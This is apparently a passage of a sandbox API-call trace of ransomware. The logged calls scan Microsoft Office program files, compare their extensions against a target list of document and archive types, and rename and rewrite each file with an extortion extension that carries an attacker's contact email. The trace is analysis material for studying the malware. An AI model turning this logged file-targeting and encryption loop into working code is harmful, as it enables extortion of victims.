Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.186] lstrlenW (lpString=".jpg") returned 4 [0174.186] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.186] lstrlenW (lpString=".doc") returned 4 [0174.186] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.186] lstrlenW (lpString=".docx") returned 5 [0174.186] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.186] lstrlenW (lpString=".pdf") returned 4 [0174.186] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.186] lstrlenW (lpString=".xls") returned 4 [0174.186] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.186] lstrlenW (lpString=".xlsx") returned 5 [0174.186] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.186] lstrlenW (lpString=".ppt") returned 4 [0174.186] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.186] lstrlenW (lpString=".zip") returned 4 [0174.186] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.186] lstrlenW (lpString=".rar") returned 4 [0174.186] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.186] lstrlenW (lpString=".bz2") returned 4 [0174.186] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.186] lstrlenW (lpString=".7z") returned 3 [0174.186] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.187] lstrlenW (lpString=".dbf") returned 4 [0174.187] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.187] lstrlenW (lpString=".1cd") returned 4 [0174.187] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0174.187] lstrlenW (lpString=".jpg") returned 4 [0174.187] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.187] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.187] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0174.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0174.188] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=22720) returned 1 [0174.188] CloseHandle (hObject=0x4f0) returned 1 [0174.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0174.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.188] lstrlenW (lpString=".doc") returned 4 [0174.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.189] lstrlenW (lpString=".docx") returned 5 [0174.189] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.189] lstrlenW (lpString=".pdf") returned 4 [0174.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.189] lstrlenW (lpString=".xls") returned 4 [0174.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.189] lstrlenW (lpString=".xlsx") returned 5 [0174.189] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.189] lstrlenW (lpString=".ppt") returned 4 [0174.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.189] lstrlenW (lpString=".zip") returned 4 [0174.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.189] lstrlenW (lpString=".rar") returned 4 [0174.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.189] lstrlenW (lpString=".bz2") returned 4 [0174.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.189] lstrlenW (lpString=".7z") returned 3 [0174.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.189] lstrlenW (lpString=".dbf") returned 4 [0174.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.189] lstrlenW (lpString=".1cd") returned 4 [0174.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.189] lstrlenW (lpString=".jpg") returned 4 [0174.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.189] lstrlenW (lpString=".doc") returned 4 [0174.190] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.190] lstrlenW (lpString=".docx") returned 5 [0174.190] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.190] lstrlenW (lpString=".pdf") returned 4 [0174.190] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.190] lstrlenW (lpString=".xls") returned 4 [0174.190] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.190] lstrlenW (lpString=".xlsx") returned 5 [0174.190] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.190] lstrlenW (lpString=".ppt") returned 4 [0174.190] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.190] lstrlenW (lpString=".zip") returned 4 [0174.190] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.190] lstrlenW (lpString=".rar") returned 4 [0174.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.190] lstrlenW (lpString=".bz2") returned 4 [0174.190] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.190] lstrlenW (lpString=".7z") returned 3 [0174.190] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.190] lstrlenW (lpString=".dbf") returned 4 [0174.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.190] lstrlenW (lpString=".1cd") returned 4 [0174.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0174.190] lstrlenW (lpString=".jpg") returned 4 [0174.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.190] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.191] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0174.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.193] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19136) returned 1 [0174.193] CloseHandle (hObject=0x518) returned 1 [0174.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0174.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.194] lstrlenW (lpString=".doc") returned 4 [0174.194] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.194] lstrlenW (lpString=".docx") returned 5 [0174.194] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.194] lstrlenW (lpString=".pdf") returned 4 [0174.194] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.194] lstrlenW (lpString=".xls") returned 4 [0174.194] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.194] lstrlenW (lpString=".xlsx") returned 5 [0174.194] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.194] lstrlenW (lpString=".ppt") returned 4 [0174.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.194] lstrlenW (lpString=".zip") returned 4 [0174.194] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.194] lstrlenW (lpString=".rar") returned 4 [0174.194] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.194] lstrlenW (lpString=".bz2") returned 4 [0174.194] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.194] lstrlenW (lpString=".7z") returned 3 [0174.194] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.194] lstrlenW (lpString=".dbf") returned 4 [0174.194] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.194] lstrlenW (lpString=".1cd") returned 4 [0174.195] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.195] lstrlenW (lpString=".jpg") returned 4 [0174.195] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.195] lstrlenW (lpString=".doc") returned 4 [0174.195] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.195] lstrlenW (lpString=".docx") returned 5 [0174.195] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.195] lstrlenW (lpString=".pdf") returned 4 [0174.195] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.195] lstrlenW (lpString=".xls") returned 4 [0174.195] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.195] lstrlenW (lpString=".xlsx") returned 5 [0174.195] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.195] lstrlenW (lpString=".ppt") returned 4 [0174.195] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.195] lstrlenW (lpString=".zip") returned 4 [0174.195] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.195] lstrlenW (lpString=".rar") returned 4 [0174.195] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.195] lstrlenW (lpString=".bz2") returned 4 [0174.195] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.195] lstrlenW (lpString=".7z") returned 3 [0174.195] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.195] lstrlenW (lpString=".dbf") returned 4 [0174.195] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.195] lstrlenW (lpString=".1cd") returned 4 [0174.195] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86 [0174.196] lstrlenW (lpString=".jpg") returned 4 [0174.196] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.196] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.196] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0174.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.197] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=20672) returned 1 [0174.197] CloseHandle (hObject=0x518) returned 1 [0174.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0174.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.197] lstrlenW (lpString=".doc") returned 4 [0174.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.197] lstrlenW (lpString=".docx") returned 5 [0174.197] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.197] lstrlenW (lpString=".pdf") returned 4 [0174.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.197] lstrlenW (lpString=".xls") returned 4 [0174.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.197] lstrlenW (lpString=".xlsx") returned 5 [0174.197] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.197] lstrlenW (lpString=".ppt") returned 4 [0174.197] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.198] lstrlenW (lpString=".zip") returned 4 [0174.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.198] lstrlenW (lpString=".rar") returned 4 [0174.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.198] lstrlenW (lpString=".bz2") returned 4 [0174.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.198] lstrlenW (lpString=".7z") returned 3 [0174.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.198] lstrlenW (lpString=".dbf") returned 4 [0174.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.198] lstrlenW (lpString=".1cd") returned 4 [0174.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.198] lstrlenW (lpString=".jpg") returned 4 [0174.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.198] lstrlenW (lpString=".doc") returned 4 [0174.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.198] lstrlenW (lpString=".docx") returned 5 [0174.199] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.199] lstrlenW (lpString=".pdf") returned 4 [0174.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.199] lstrlenW (lpString=".xls") returned 4 [0174.199] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.199] lstrlenW (lpString=".xlsx") returned 5 [0174.199] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.199] lstrlenW (lpString=".ppt") returned 4 [0174.199] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.199] lstrlenW (lpString=".zip") returned 4 [0174.199] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.199] lstrlenW (lpString=".rar") returned 4 [0174.199] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.199] lstrlenW (lpString=".bz2") returned 4 [0174.199] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.199] lstrlenW (lpString=".7z") returned 3 [0174.199] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.199] lstrlenW (lpString=".dbf") returned 4 [0174.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.199] lstrlenW (lpString=".1cd") returned 4 [0174.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 85 [0174.199] lstrlenW (lpString=".jpg") returned 4 [0174.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.199] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.200] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0174.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.201] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19648) returned 1 [0174.201] CloseHandle (hObject=0x518) returned 1 [0174.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0174.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0174.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0174.202] lstrlenW (lpString=".doc") returned 4 [0174.202] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.202] lstrlenW (lpString=".docx") returned 5 [0174.202] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.202] lstrlenW (lpString=".pdf") returned 4 [0174.202] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.202] lstrlenW (lpString=".xls") returned 4 [0174.202] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.202] lstrlenW (lpString=".xlsx") returned 5 [0174.202] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.202] lstrlenW (lpString=".ppt") returned 4 [0174.202] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0174.202] lstrlenW (lpString=".zip") returned 4 [0174.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.202] lstrlenW (lpString=".rar") returned 4 [0174.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.202] lstrlenW (lpString=".bz2") returned 4 [0174.202] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.202] lstrlenW (lpString=".7z") returned 3 [0174.202] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0174.202] lstrlenW (lpString=".dbf") returned 4 [0174.202] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0174.243] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.243] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0174.245] GetLastError () returned 0x0 [0174.245] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x221, lpOverlapped=0x0) returned 1 [0174.246] WriteFile (in: hFile=0x370, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x230, lpOverlapped=0x0) returned 1 [0174.247] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: 